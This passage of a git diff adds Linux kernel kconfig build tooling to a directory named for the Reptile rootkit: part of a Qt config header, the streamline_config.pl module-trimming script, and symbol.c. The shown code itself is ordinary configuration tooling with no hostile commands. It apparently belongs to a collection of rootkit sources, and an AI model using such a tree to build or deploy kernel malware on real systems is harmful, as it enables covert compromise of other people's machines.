*)Parent::nextSibling(); + } + void setText(colIdx idx, const QString& text) + { + Parent::setText(listView()->mapIdx(idx), text); + } + QString text(colIdx idx) const + { + return Parent::text(listView()->mapIdx(idx)); + } + void setPixmap(colIdx idx, const QPixmap& pm) + { + Parent::setPixmap(listView()->mapIdx(idx), pm); + } + const QPixmap* pixmap(colIdx idx) const + { + return Parent::pixmap(listView()->mapIdx(idx)); + } + void paintCell(QPainter* p, const QColorGroup& cg, int column, int width, int align); + + ConfigItem* nextItem; + struct menu *menu; + bool visible; + bool goParent; +}; + +class ConfigLineEdit : public QLineEdit { + Q_OBJECT + typedef class QLineEdit Parent; +public: + ConfigLineEdit(ConfigView* parent); + ConfigView* parent(void) const + { + return (ConfigView*)Parent::parent(); + } + void show(ConfigItem *i); + void keyPressEvent(QKeyEvent *e); + +public: + ConfigItem *item; +}; + +class ConfigView : public Q3VBox { + Q_OBJECT + typedef class Q3VBox Parent; +public: + ConfigView(QWidget* parent, const char *name = 0); + ~ConfigView(void); + static void updateList(ConfigItem* item); + static void updateListAll(void); + + bool showName(void) const { return list->showName; } + bool showRange(void) const { return list->showRange; } + bool showData(void) const { return list->showData; } +public slots: + void setShowName(bool); + void setShowRange(bool); + void setShowData(bool); + void setOptionMode(QAction *); +signals: + void showNameChanged(bool); + void showRangeChanged(bool); + void showDataChanged(bool); +public: + ConfigList* list; + ConfigLineEdit* lineEdit; + + static ConfigView* viewList; + ConfigView* nextView; + + static QAction *showNormalAction; + static QAction *showAllAction; + static QAction *showPromptAction; +}; + +class ConfigInfoView : public Q3TextBrowser { + Q_OBJECT + typedef class Q3TextBrowser Parent; +public: + ConfigInfoView(QWidget* parent, const char *name = 0); + bool showDebug(void) const { return _showDebug; } + +public slots: + void setInfo(struct menu *menu); + void saveSettings(void); + void setShowDebug(bool); + +signals: + void showDebugChanged(bool); + void menuSelected(struct menu *); + +protected: + void symbolInfo(void); + void menuInfo(void); + QString debug_info(struct symbol *sym); + static QString print_filter(const QString &str); + static void expr_print_help(void *data, struct symbol *sym, const char *str); + Q3PopupMenu* createPopupMenu(const QPoint& pos); + void contentsContextMenuEvent(QContextMenuEvent *e); + + struct symbol *sym; + struct menu *_menu; + bool _showDebug; +}; + +class ConfigSearchWindow : public QDialog { + Q_OBJECT + typedef class QDialog Parent; +public: + ConfigSearchWindow(ConfigMainWindow* parent, const char *name = 0); + +public slots: + void saveSettings(void); + void search(void); + +protected: + QLineEdit* editField; + QPushButton* searchButton; + QSplitter* split; + ConfigView* list; + ConfigInfoView* info; + + struct symbol **result; +}; + +class ConfigMainWindow : public Q3MainWindow { + Q_OBJECT + + static Q3Action *saveAction; + static void conf_changed(void); +public: + ConfigMainWindow(void); +public slots: + void changeMenu(struct menu *); + void setMenuLink(struct menu *); + void listFocusChanged(void); + void goBack(void); + void loadConfig(void); + bool saveConfig(void); + void saveConfigAs(void); + void searchConfig(void); + void showSingleView(void); + void showSplitView(void); + void showFullView(void); + void showIntro(void); + void showAbout(void); + void saveSettings(void); + +protected: + void closeEvent(QCloseEvent *e); + + ConfigSearchWindow *searchWindow; + ConfigView *menuView; + ConfigList *menuList; + ConfigView *configView; + ConfigList *configList; + ConfigInfoView *helpText; + Q3ToolBar *toolBar; + Q3Action *backAction; + QSplitter* split1; + QSplitter* split2; +}; diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/streamline_config.pl b/Linux/Rootkits/Reptile/scripts/kconfig/streamline_config.pl new file mode 100644 index 0000000..4606cdf --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/streamline_config.pl @@ -0,0 +1,640 @@ +#!/usr/bin/perl -w +# +# Copyright 2005-2009 - Steven Rostedt +# Licensed under the terms of the GNU GPL License version 2 +# +# It's simple enough to figure out how this works. +# If not, then you can ask me at stripconfig@goodmis.org +# +# What it does? +# +# If you have installed a Linux kernel from a distribution +# that turns on way too many modules than you need, and +# you only want the modules you use, then this program +# is perfect for you. +# +# It gives you the ability to turn off all the modules that are +# not loaded on your system. +# +# Howto: +# +# 1. Boot up the kernel that you want to stream line the config on. +# 2. Change directory to the directory holding the source of the +# kernel that you just booted. +# 3. Copy the configuraton file to this directory as .config +# 4. Have all your devices that you need modules for connected and +# operational (make sure that their corresponding modules are loaded) +# 5. Run this script redirecting the output to some other file +# like config_strip. +# 6. Back up your old config (if you want too). +# 7. copy the config_strip file to .config +# 8. Run "make oldconfig" +# +# Now your kernel is ready to be built with only the modules that +# are loaded. +# +# Here's what I did with my Debian distribution. +# +# cd /usr/src/linux-2.6.10 +# cp /boot/config-2.6.10-1-686-smp .config +# ~/bin/streamline_config > config_strip +# mv .config config_sav +# mv config_strip .config +# make oldconfig +# +use strict; +use Getopt::Long; + +# set the environment variable LOCALMODCONFIG_DEBUG to get +# debug output. +my $debugprint = 0; +$debugprint = 1 if (defined($ENV{LOCALMODCONFIG_DEBUG})); + +sub dprint { + return if (!$debugprint); + print STDERR @_; +} + +my $config = ".config"; + +my $uname = `uname -r`; +chomp $uname; + +my @searchconfigs = ( + { + "file" => ".config", + "exec" => "cat", + }, + { + "file" => "/proc/config.gz", + "exec" => "zcat", + }, + { + "file" => "/boot/config-$uname", + "exec" => "cat", + }, + { + "file" => "/boot/vmlinuz-$uname", + "exec" => "scripts/extract-ikconfig", + "test" => "scripts/extract-ikconfig", + }, + { + "file" => "vmlinux", + "exec" => "scripts/extract-ikconfig", + "test" => "scripts/extract-ikconfig", + }, + { + "file" => "/lib/modules/$uname/kernel/kernel/configs.ko", + "exec" => "scripts/extract-ikconfig", + "test" => "scripts/extract-ikconfig", + }, + { + "file" => "kernel/configs.ko", + "exec" => "scripts/extract-ikconfig", + "test" => "scripts/extract-ikconfig", + }, + { + "file" => "kernel/configs.o", + "exec" => "scripts/extract-ikconfig", + "test" => "scripts/extract-ikconfig", + }, +); + +sub read_config { + foreach my $conf (@searchconfigs) { + my $file = $conf->{"file"}; + + next if ( ! -f "$file"); + + if (defined($conf->{"test"})) { + `$conf->{"test"} $conf->{"file"} 2>/dev/null`; + next if ($?); + } + + my $exec = $conf->{"exec"}; + + print STDERR "using config: '$file'\n"; + + open(my $infile, '-|', "$exec $file") || die "Failed to run $exec $file"; + my @x = <$infile>; + close $infile; + return @x; + } + die "No config file found"; +} + +my @config_file = read_config; + +# Parse options +my $localmodconfig = 0; +my $localyesconfig = 0; + +GetOptions("localmodconfig" => \$localmodconfig, + "localyesconfig" => \$localyesconfig); + +# Get the build source and top level Kconfig file (passed in) +my $ksource = ($ARGV[0] ? $ARGV[0] : '.'); +my $kconfig = $ARGV[1]; +my $lsmod_file = $ENV{'LSMOD'}; + +my @makefiles = `find $ksource -name Makefile 2>/dev/null`; +chomp @makefiles; + +my %depends; +my %selects; +my %prompts; +my %objects; +my $var; +my $iflevel = 0; +my @ifdeps; + +# prevent recursion +my %read_kconfigs; + +sub read_kconfig { + my ($kconfig) = @_; + + my $state = "NONE"; + my $config; + + my $cont = 0; + my $line; + + my $source = "$ksource/$kconfig"; + my $last_source = ""; + + # Check for any environment variables used + while ($source =~ /\$(\w+)/ && $last_source ne $source) { + my $env = $1; + $last_source = $source; + $source =~ s/\$$env/$ENV{$env}/; + } + + open(my $kinfile, '<', $source) || die "Can't open $kconfig"; + while (<$kinfile>) { + chomp; + + # Make sure that lines ending with \ continue + if ($cont) { + $_ = $line . " " . $_; + } + + if (s/\\$//) { + $cont = 1; + $line = $_; + next; + } + + $cont = 0; + + # collect any Kconfig sources + if (/^source\s*"(.*)"/) { + my $kconfig = $1; + # prevent reading twice. + if (!defined($read_kconfigs{$kconfig})) { + $read_kconfigs{$kconfig} = 1; + read_kconfig($kconfig); + } + next; + } + + # configs found + if (/^\s*(menu)?config\s+(\S+)\s*$/) { + $state = "NEW"; + $config = $2; + + # Add depends for 'if' nesting + for (my $i = 0; $i < $iflevel; $i++) { + if ($i) { + $depends{$config} .= " " . $ifdeps[$i]; + } else { + $depends{$config} = $ifdeps[$i]; + } + $state = "DEP"; + } + + # collect the depends for the config + } elsif ($state eq "NEW" && /^\s*depends\s+on\s+(.*)$/) { + $state = "DEP"; + $depends{$config} = $1; + } elsif ($state eq "DEP" && /^\s*depends\s+on\s+(.*)$/) { + $depends{$config} .= " " . $1; + + # Get the configs that select this config + } elsif ($state ne "NONE" && /^\s*select\s+(\S+)/) { + my $conf = $1; + if (defined($selects{$conf})) { + $selects{$conf} .= " " . $config; + } else { + $selects{$conf} = $config; + } + + # configs without prompts must be selected + } elsif ($state ne "NONE" && /^\s*tristate\s\S/) { + # note if the config has a prompt + $prompts{$config} = 1; + + # Check for if statements + } elsif (/^if\s+(.*\S)\s*$/) { + my $deps = $1; + # remove beginning and ending non text + $deps =~ s/^[^a-zA-Z0-9_]*//; + $deps =~ s/[^a-zA-Z0-9_]*$//; + + my @deps = split /[^a-zA-Z0-9_]+/, $deps; + + $ifdeps[$iflevel++] = join ':', @deps; + + } elsif (/^endif/) { + + $iflevel-- if ($iflevel); + + # stop on "help" + } elsif (/^\s*help\s*$/) { + $state = "NONE"; + } + } + close($kinfile); +} + +if ($kconfig) { + read_kconfig($kconfig); +} + +# Makefiles can use variables to define their dependencies +sub convert_vars { + my ($line, %vars) = @_; + + my $process = ""; + + while ($line =~ s/^(.*?)(\$\((.*?)\))//) { + my $start = $1; + my $variable = $2; + my $var = $3; + + if (defined($vars{$var})) { + $process .= $start . $vars{$var}; + } else { + $process .= $start . $variable; + } + } + + $process .= $line; + + return $process; +} + +# Read all Makefiles to map the configs to the objects +foreach my $makefile (@makefiles) { + + my $line = ""; + my %make_vars; + + open(my $infile, '<', $makefile) || die "Can't open $makefile"; + while (<$infile>) { + # if this line ends with a backslash, continue + chomp; + if (/^(.*)\\$/) { + $line .= $1; + next; + } + + $line .= $_; + $_ = $line; + $line = ""; + + my $objs; + + # Convert variables in a line (could define configs) + $_ = convert_vars($_, %make_vars); + + # collect objects after obj-$(CONFIG_FOO_BAR) + if (/obj-\$\((CONFIG_[^\)]*)\)\s*[+:]?=\s*(.*)/) { + $var = $1; + $objs = $2; + + # check if variables are set + } elsif (/^\s*(\S+)\s*[:]?=\s*(.*\S)/) { + $make_vars{$1} = $2; + } + if (defined($objs)) { + foreach my $obj (split /\s+/,$objs) { + $obj =~ s/-/_/g; + if ($obj =~ /(.*)\.o$/) { + # Objects may be enabled by more than one config. + # Store configs in an array. + my @arr; + + if (defined($objects{$1})) { + @arr = @{$objects{$1}}; + } + + $arr[$#arr+1] = $var; + + # The objects have a hash mapping to a reference + # of an array of configs. + $objects{$1} = \@arr; + } + } + } + } + close($infile); +} + +my %modules; +my $linfile; + +if (defined($lsmod_file)) { + if ( ! -f $lsmod_file) { + if ( -f $ENV{'objtree'}."/".$lsmod_file) { + $lsmod_file = $ENV{'objtree'}."/".$lsmod_file; + } else { + die "$lsmod_file not found"; + } + } + + my $otype = ( -x $lsmod_file) ? '-|' : '<'; + open($linfile, $otype, $lsmod_file); + +} else { + + # see what modules are loaded on this system + my $lsmod; + + foreach my $dir ( ("/sbin", "/bin", "/usr/sbin", "/usr/bin") ) { + if ( -x "$dir/lsmod" ) { + $lsmod = "$dir/lsmod"; + last; + } +} + if (!defined($lsmod)) { + # try just the path + $lsmod = "lsmod"; + } + + open($linfile, '-|', $lsmod) || die "Can not call lsmod with $lsmod"; +} + +while (<$linfile>) { + next if (/^Module/); # Skip the first line. + if (/^(\S+)/) { + $modules{$1} = 1; + } +} +close ($linfile); + +# add to the configs hash all configs that are needed to enable +# a loaded module. This is a direct obj-${CONFIG_FOO} += bar.o +# where we know we need bar.o so we add FOO to the list. +my %configs; +foreach my $module (keys(%modules)) { + if (defined($objects{$module})) { + my @arr = @{$objects{$module}}; + foreach my $conf (@arr) { + $configs{$conf} = $module; + dprint "$conf added by direct ($module)\n"; + if ($debugprint) { + my $c=$conf; + $c =~ s/^CONFIG_//; + if (defined($depends{$c})) { + dprint " deps = $depends{$c}\n"; + } else { + dprint " no deps\n"; + } + } + } + } else { + # Most likely, someone has a custom (binary?) module loaded. + print STDERR "$module config not found!!\n"; + } +} + +# Read the current config, and see what is enabled. We want to +# ignore configs that we would not enable anyway. + +my %orig_configs; +my $valid = "A-Za-z_0-9"; + +foreach my $line (@config_file) { + $_ = $line; + + if (/(CONFIG_[$valid]*)=(m|y)/) { + $orig_configs{$1} = $2; + } +} + +my $repeat = 1; + +my $depconfig; + +# +# Note, we do not care about operands (like: &&, ||, !) we want to add any +# config that is in the depend list of another config. This script does +# not enable configs that are not already enabled. If we come across a +# config A that depends on !B, we can still add B to the list of depends +# to keep on. If A was on in the original config, B would not have been +# and B would not be turned on by this script. +# +sub parse_config_depends +{ + my ($p) = @_; + + while ($p =~ /[$valid]/) { + + if ($p =~ /^[^$valid]*([$valid]+)/) { + my $conf = "CONFIG_" . $1; + + $p =~ s/^[^$valid]*[$valid]+//; + + # We only need to process if the depend config is a module + if (!defined($orig_configs{$conf}) || !$orig_configs{conf} eq "m") { + next; + } + + if (!defined($configs{$conf})) { + # We must make sure that this config has its + # dependencies met. + $repeat = 1; # do again + dprint "$conf selected by depend $depconfig\n"; + $configs{$conf} = 1; + } + } else { + die "this should never happen"; + } + } +} + +# Select is treated a bit differently than depends. We call this +# when a config has no prompt and requires another config to be +# selected. We use to just select all configs that selected this +# config, but found that that can balloon into enabling hundreds +# of configs that we do not care about. +# +# The idea is we look at all the configs that select it. If one +# is already in our list of configs to enable, then there's nothing +# else to do. If there isn't, we pick the first config that was +# enabled in the orignal config and use that. +sub parse_config_selects +{ + my ($config, $p) = @_; + + my $next_config; + + while ($p =~ /[$valid]/) { + + if ($p =~ /^[^$valid]*([$valid]+)/) { + my $conf = "CONFIG_" . $1; + + $p =~ s/^[^$valid]*[$valid]+//; + + # Make sure that this config exists in the current .config file + if (!defined($orig_configs{$conf})) { + dprint "$conf not set for $config select\n"; + next; + } + + # Check if something other than a module selects this config + if (defined($orig_configs{$conf}) && $orig_configs{$conf} ne "m") { + dprint "$conf (non module) selects config, we are good\n"; + # we are good with this + return; + } + if (defined($configs{$conf})) { + dprint "$conf selects $config so we are good\n"; + # A set config selects this config, we are good + return; + } + # Set this config to be selected + if (!defined($next_config)) { + $next_config = $conf; + } + } else { + die "this should never happen"; + } + } + + # If no possible config selected this, then something happened. + if (!defined($next_config)) { + print STDERR "WARNING: $config is required, but nothing in the\n"; + print STDERR " current config selects it.\n"; + return; + } + + # If we are here, then we found no config that is set and + # selects this config. Repeat. + $repeat = 1; + # Make this config need to be selected + $configs{$next_config} = 1; + dprint "$next_config selected by select $config\n"; +} + +my %process_selects; + +# loop through all configs, select their dependencies. +sub loop_depend { + $repeat = 1; + + while ($repeat) { + $repeat = 0; + + forloop: + foreach my $config (keys %configs) { + + # If this config is not a module, we do not need to process it + if (defined($orig_configs{$config}) && $orig_configs{$config} ne "m") { + next forloop; + } + + $config =~ s/^CONFIG_//; + $depconfig = $config; + + if (defined($depends{$config})) { + # This config has dependencies. Make sure they are also included + parse_config_depends $depends{$config}; + } + + # If the config has no prompt, then we need to check if a config + # that is enabled selected it. Or if we need to enable one. + if (!defined($prompts{$config}) && defined($selects{$config})) { + $process_selects{$config} = 1; + } + } + } +} + +sub loop_select { + + foreach my $config (keys %process_selects) { + $config =~ s/^CONFIG_//; + + dprint "Process select $config\n"; + + # config has no prompt and must be selected. + parse_config_selects $config, $selects{$config}; + } +} + +while ($repeat) { + # Get the first set of configs and their dependencies. + loop_depend; + + $repeat = 0; + + # Now we need to see if we have to check selects; + loop_select; +} + +my %setconfigs; + +# Finally, read the .config file and turn off any module enabled that +# we could not find a reason to keep enabled. +foreach my $line (@config_file) { + $_ = $line; + + if (/CONFIG_IKCONFIG/) { + if (/# CONFIG_IKCONFIG is not set/) { + # enable IKCONFIG at least as a module + print "CONFIG_IKCONFIG=m\n"; + # don't ask about PROC + print "# CONFIG_IKCONFIG_PROC is not set\n"; + } else { + print; + } + next; + } + + if (/^(CONFIG.*)=(m|y)/) { + if (defined($configs{$1})) { + if ($localyesconfig) { + $setconfigs{$1} = 'y'; + print "$1=y\n"; + next; + } else { + $setconfigs{$1} = $2; + } + } elsif ($2 eq "m") { + print "# $1 is not set\n"; + next; + } + } + print; +} + +# Integrity check, make sure all modules that we want enabled do +# indeed have their configs set. +loop: +foreach my $module (keys(%modules)) { + if (defined($objects{$module})) { + my @arr = @{$objects{$module}}; + foreach my $conf (@arr) { + if (defined($setconfigs{$conf})) { + next loop; + } + } + print STDERR "module $module did not have configs"; + foreach my $conf (@arr) { + print STDERR " " , $conf; + } + print STDERR "\n"; + } +} diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/symbol.c b/Linux/Rootkits/Reptile/scripts/kconfig/symbol.c new file mode 100644 index 0000000..7caabdb --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/symbol.c @@ -0,0 +1,1373 @@ +/* + * Copyright (C) 2002 Roman Zippel + * Released under the terms of the GNU GPL v2.0. + */ + +#include +#include +#include +#include +#include + +#include "lkc.h" + +struct symbol symbol_yes = { + .name = "y", + .curr = { "y", yes }, + .flags = SYMBOL_CONST|SYMBOL_VALID, +}, symbol_mod = { + .name = "m", + .curr = { "m", mod }, + .flags = SYMBOL_CONST|SYMBOL_VALID, +}, symbol_no = { + .name = "n", + .curr = { "n", no }, + .flags = SYMBOL_CONST|SYMBOL_VALID, +}, symbol_empty = { + .name = "", + .curr = { "", no }, + .flags = SYMBOL_VALID, +}; + +struct symbol *sym_defconfig_list; +struct symbol *modules_sym; +tristate modules_val; + +struct expr *sym_env_list; + +static void sym_add_default(struct symbol *sym, const char *def) +{ + struct property *prop = prop_alloc(P_DEFAULT, sym); + + prop->expr = expr_alloc_symbol(sym_lookup(def, SYMBOL_CONST)); +} + +void sym_init(void) +{ + struct symbol *sym; + struct utsname uts; + static bool inited = false; + + if (inited) + return; + inited = true; + + uname(&uts); + + sym = sym_lookup("UNAME_RELEASE", 0); + sym->type = S_STRING; + sym->flags |= SYMBOL_AUTO; + sym_add_default(sym, uts.release); +} + +enum symbol_type sym_get_type(struct symbol *sym) +{ + enum symbol_type type = sym->type; + + if (type == S_TRISTATE) { + if (sym_is_choice_value(sym) && sym->visible == yes) + type = S_BOOLEAN; + else if (modules_val == no) + type = S_BOOLEAN; + } + return type; +} + +const char *sym_type_name(enum symbol_type type) +{ + switch (type) { + case S_BOOLEAN: + return "boolean"; + case S_TRISTATE: + return "tristate"; + case S_INT: + return "integer"; + case S_HEX: + return "hex"; + case S_STRING: + return "string"; + case S_UNKNOWN: + return "unknown"; + case S_OTHER: + break; + } + return "???"; +} + +struct property *sym_get_choice_prop(struct symbol *sym) +{ + struct property *prop; + + for_all_choices(sym, prop) + return prop; + return NULL; +} + +struct property *sym_get_env_prop(struct symbol *sym) +{ + struct property *prop; + + for_all_properties(sym, prop, P_ENV) + return prop; + return NULL; +} + +struct property *sym_get_default_prop(struct symbol *sym) +{ + struct property *prop; + + for_all_defaults(sym, prop) { + prop->visible.tri = expr_calc_value(prop->visible.expr); + if (prop->visible.tri != no) + return prop; + } + return NULL; +} + +static struct property *sym_get_range_prop(struct symbol *sym) +{ + struct property *prop; + + for_all_properties(sym, prop, P_RANGE) { + prop->visible.tri = expr_calc_value(prop->visible.expr); + if (prop->visible.tri != no) + return prop; + } + return NULL; +} + +static long long sym_get_range_val(struct symbol *sym, int base) +{ + sym_calc_value(sym); + switch (sym->type) { + case S_INT: + base = 10; + break; + case S_HEX: + base = 16; + break; + default: + break; + } + return strtoll(sym->curr.val, NULL, base); +} + +static void sym_validate_range(struct symbol *sym) +{ + struct property *prop; + int base; + long long val, val2; + char str[64]; + + switch (sym->type) { + case S_INT: + base = 10; + break; + case S_HEX: + base = 16; + break; + default: + return; + } + prop = sym_get_range_prop(sym); + if (!prop) + return; + val = strtoll(sym->curr.val, NULL, base); + val2 = sym_get_range_val(prop->expr->left.sym, base); + if (val >= val2) { + val2 = sym_get_range_val(prop->expr->right.sym, base); + if (val <= val2) + return; + } + if (sym->type == S_INT) + sprintf(str, "%lld", val2); + else + sprintf(str, "0x%llx", val2); + sym->curr.val = strdup(str); +} + +static void sym_calc_visibility(struct symbol *sym) +{ + struct property *prop; + tristate tri; + + /* any prompt visible? */ + tri = no; + for_all_prompts(sym, prop) { + prop->visible.tri = expr_calc_value(prop->visible.expr); + tri = EXPR_OR(tri, prop->visible.tri); + } + if (tri == mod && (sym->type != S_TRISTATE || modules_val == no)) + tri = yes; + if (sym->visible != tri) { + sym->visible = tri; + sym_set_changed(sym); + } + if (sym_is_choice_value(sym)) + return; + /* defaulting to "yes" if no explicit "depends on" are given */ + tri = yes; + if (sym->dir_dep.expr) + tri = expr_calc_value(sym->dir_dep.expr); + if (tri == mod) + tri = yes; + if (sym->dir_dep.tri != tri) { + sym->dir_dep.tri = tri; + sym_set_changed(sym); + } + tri = no; + if (sym->rev_dep.expr) + tri = expr_calc_value(sym->rev_dep.expr); + if (tri == mod && sym_get_type(sym) == S_BOOLEAN) + tri = yes; + if (sym->rev_dep.tri != tri) { + sym->rev_dep.tri = tri; + sym_set_changed(sym); + } +} + +/* + * Find the default symbol for a choice. + * First try the default values for the choice symbol + * Next locate the first visible choice value + * Return NULL if none was found + */ +struct symbol *sym_choice_default(struct symbol *sym) +{ + struct symbol *def_sym; + struct property *prop; + struct expr *e; + + /* any of the defaults visible? */ + for_all_defaults(sym, prop) { + prop->visible.tri = expr_calc_value(prop->visible.expr); + if (prop->visible.tri == no) + continue; + def_sym = prop_get_symbol(prop); + if (def_sym->visible != no) + return def_sym; + } + + /* just get the first visible value */ + prop = sym_get_choice_prop(sym); + expr_list_for_each_sym(prop->expr, e, def_sym) + if (def_sym->visible != no) + return def_sym; + + /* failed to locate any defaults */ + return NULL; +} + +static struct symbol *sym_calc_choice(struct symbol *sym) +{ + struct symbol *def_sym; + struct property *prop; + struct expr *e; + int flags; + + /* first calculate all choice values' visibilities */ + flags = sym->flags; + prop = sym_get_choice_prop(sym); + expr_list_for_each_sym(prop->expr, e, def_sym) { + sym_calc_visibility(def_sym); + if (def_sym->visible != no) + flags &= def_sym->flags; + } + + sym->flags &= flags | ~SYMBOL_DEF_USER; + + /* is the user choice visible? */ + def_sym = sym->def[S_DEF_USER].val; + if (def_sym && def_sym->visible != no) + return def_sym; + + def_sym = sym_choice_default(sym); + + if (def_sym == NULL) + /* no choice? reset tristate value */ + sym->curr.tri = no; + + return def_sym; +} + +void sym_calc_value(struct symbol *sym) +{ + struct symbol_value newval, oldval; + struct property *prop; + struct expr *e; + + if (!sym) + return; + + if (sym->flags & SYMBOL_VALID) + return; + + if (sym_is_choice_value(sym) && + sym->flags & SYMBOL_NEED_SET_CHOICE_VALUES) { + sym->flags &= ~SYMBOL_NEED_SET_CHOICE_VALUES; + prop = sym_get_choice_prop(sym); + sym_calc_value(prop_get_symbol(prop)); + } + + sym->flags |= SYMBOL_VALID; + + oldval = sym->curr; + + switch (sym->type) { + case S_INT: + case S_HEX: + case S_STRING: + newval = symbol_empty.curr; + break; + case S_BOOLEAN: + case S_TRISTATE: + newval = symbol_no.curr; + break; + default: + sym->curr.val = sym->name; + sym->curr.tri = no; + return; + } + if (!sym_is_choice_value(sym)) + sym->flags &= ~SYMBOL_WRITE; + + sym_calc_visibility(sym); + + /* set default if recursively called */ + sym->curr = newval; + + switch (sym_get_type(sym)) { + case S_BOOLEAN: + case S_TRISTATE: + if (sym_is_choice_value(sym) && sym->visible == yes) { + prop = sym_get_choice_prop(sym); + newval.tri = (prop_get_symbol(prop)->curr.val == sym) ? yes : no; + } else { + if (sym->visible != no) { + /* if the symbol is visible use the user value + * if available, otherwise try the default value + */ + sym->flags |= SYMBOL_WRITE; + if (sym_has_value(sym)) { + newval.tri = EXPR_AND(sym->def[S_DEF_USER].tri, + sym->visible); + goto calc_newval; + } + } + if (sym->rev_dep.tri != no) + sym->flags |= SYMBOL_WRITE; + if (!sym_is_choice(sym)) { + prop = sym_get_default_prop(sym); + if (prop) { + sym->flags |= SYMBOL_WRITE; + newval.tri = EXPR_AND(expr_calc_value(prop->expr), + prop->visible.tri); + } + } + calc_newval: + if (sym->dir_dep.tri == no && sym->rev_dep.tri != no) { + struct expr *e; + e = expr_simplify_unmet_dep(sym->rev_dep.expr, + sym->dir_dep.expr); + fprintf(stderr, "warning: ("); + expr_fprint(e, stderr); + fprintf(stderr, ") selects %s which has unmet direct dependencies (", + sym->name); + expr_fprint(sym->dir_dep.expr, stderr); + fprintf(stderr, ")\n"); + expr_free(e); + } + newval.tri = EXPR_OR(newval.tri, sym->rev_dep.tri); + } + if (newval.tri == mod && sym_get_type(sym) == S_BOOLEAN) + newval.tri = yes; + break; + case S_STRING: + case S_HEX: + case S_INT: + if (sym->visible != no) { + sym->flags |= SYMBOL_WRITE; + if (sym_has_value(sym)) { + newval.val = sym->def[S_DEF_USER].val; + break; + } + } + prop = sym_get_default_prop(sym); + if (prop) { + struct symbol *ds = prop_get_symbol(prop); + if (ds) { + sym->flags |= SYMBOL_WRITE; + sym_calc_value(ds); + newval.val = ds->curr.val; + } + } + break; + default: + ; + } + + sym->curr = newval; + if (sym_is_choice(sym) && newval.tri == yes) + sym->curr.val = sym_calc_choice(sym); + sym_validate_range(sym); + + if (memcmp(&oldval, &sym->curr, sizeof(oldval))) { + sym_set_changed(sym); + if (modules_sym == sym) { + sym_set_all_changed(); + modules_val = modules_sym->curr.tri; + } + } + + if (sym_is_choice(sym)) { + struct symbol *choice_sym; + + prop = sym_get_choice_prop(sym); + expr_list_for_each_sym(prop->expr, e, choice_sym) { + if ((sym->flags & SYMBOL_WRITE) && + choice_sym->visible != no) + choice_sym->flags |= SYMBOL_WRITE; + if (sym->flags & SYMBOL_CHANGED) + sym_set_changed(choice_sym); + } + } + + if (sym->flags & SYMBOL_AUTO) + sym->flags &= ~SYMBOL_WRITE; + + if (sym->flags & SYMBOL_NEED_SET_CHOICE_VALUES) + set_all_choice_values(sym); +} + +void sym_clear_all_valid(void) +{ + struct symbol *sym; + int i; + + for_all_symbols(i, sym) + sym->flags &= ~SYMBOL_VALID; + sym_add_change_count(1); + if (modules_sym) + sym_calc_value(modules_sym); +} + +void sym_set_changed(struct symbol *sym) +{ + struct property *prop; + + sym->flags |= SYMBOL_CHANGED; + for (prop = sym->prop; prop; prop = prop->next) { + if (prop->menu) + prop->menu->flags |= MENU_CHANGED; + } +} + +void sym_set_all_changed(void) +{ + struct symbol *sym; + int i; + + for_all_symbols(i, sym) + sym_set_changed(sym); +} + +bool sym_tristate_within_range(struct symbol *sym, tristate val) +{ + int type = sym_get_type(sym); + + if (sym->visible == no) + return false; + + if (type != S_BOOLEAN && type != S_TRISTATE) + return false; + + if (type == S_BOOLEAN && val == mod) + return false; + if (sym->visible <= sym->rev_dep.tri) + return false; + if (sym_is_choice_value(sym) && sym->visible == yes) + return val == yes; + return val >= sym->rev_dep.tri && val <= sym->visible; +} + +bool sym_set_tristate_value(struct symbol *sym, tristate val) +{ + tristate oldval = sym_get_tristate_value(sym); + + if (oldval != val && !sym_tristate_within_range(sym, val)) + return false; + + if (!(sym->flags & SYMBOL_DEF_USER)) { + sym->flags |= SYMBOL_DEF_USER; + sym_set_changed(sym); + } + /* + * setting a choice value also resets the new flag of the choice + * symbol and all other choice values. + */ + if (sym_is_choice_value(sym) && val == yes) { + struct symbol *cs = prop_get_symbol(sym_get_choice_prop(sym)); + struct property *prop; + struct expr *e; + + cs->def[S_DEF_USER].val = sym; + cs->flags |= SYMBOL_DEF_USER; + prop = sym_get_choice_prop(cs); + for (e = prop->expr; e; e = e->left.expr) { + if (e->right.sym->visible != no) + e->right.sym->flags |= SYMBOL_DEF_USER; + } + } + + sym->def[S_DEF_USER].tri = val; + if (oldval != val) + sym_clear_all_valid(); + + return true; +} + +tristate sym_toggle_tristate_value(struct symbol *sym) +{ + tristate oldval, newval; + + oldval = newval = sym_get_tristate_value(sym); + do { + switch (newval) { + case no: + newval = mod; + break; + case mod: + newval = yes; + break; + case yes: + newval = no; + break; + } + if (sym_set_tristate_value(sym, newval)) + break; + } while (oldval != newval); + return newval; +} + +bool sym_string_valid(struct symbol *sym, const char *str) +{ + signed char ch; + + switch (sym->type) { + case S_STRING: + return true; + case S_INT: + ch = *str++; + if (ch == '-') + ch = *str++; + if (!isdigit(ch)) + return false; + if (ch == '0' && *str != 0) + return false; + while ((ch = *str++)) { + if (!isdigit(ch)) + return false; + } + return true; + case S_HEX: + if (str[0] == '0' && (str[1] == 'x' || str[1] == 'X')) + str += 2; + ch = *str++; + do { + if (!isxdigit(ch)) + return false; + } while ((ch = *str++)); + return true; + case S_BOOLEAN: + case S_TRISTATE: + switch (str[0]) { + case 'y': case 'Y': + case 'm': case 'M': + case 'n': case 'N': + return true; + } + return false; + default: + return false; + } +} + +bool sym_string_within_range(struct symbol *sym, const char *str) +{ + struct property *prop; + long long val; + + switch (sym->type) { + case S_STRING: + return sym_string_valid(sym, str); + case S_INT: + if (!sym_string_valid(sym, str)) + return false; + prop = sym_get_range_prop(sym); + if (!prop) + return true; + val = strtoll(str, NULL, 10); + return val >= sym_get_range_val(prop->expr->left.sym, 10) && + val <= sym_get_range_val(prop->expr->right.sym, 10); + case S_HEX: + if (!sym_string_valid(sym, str)) + return false; + prop = sym_get_range_prop(sym); + if (!prop) + return true; + val = strtoll(str, NULL, 16); + return val >= sym_get_range_val(prop->expr->left.sym, 16) && + val <= sym_get_range_val(prop->expr->right.sym, 16); + case S_BOOLEAN: + case S_TRISTATE: + switch (str[0]) { + case 'y': case 'Y': + return sym_tristate_within_range(sym, yes); + case 'm': case 'M': + return sym_tristate_within_range(sym, mod); + case 'n': case 'N': + return sym_tristate_within_range(sym, no); + } + return false; + default: + return false; + } +} + +bool 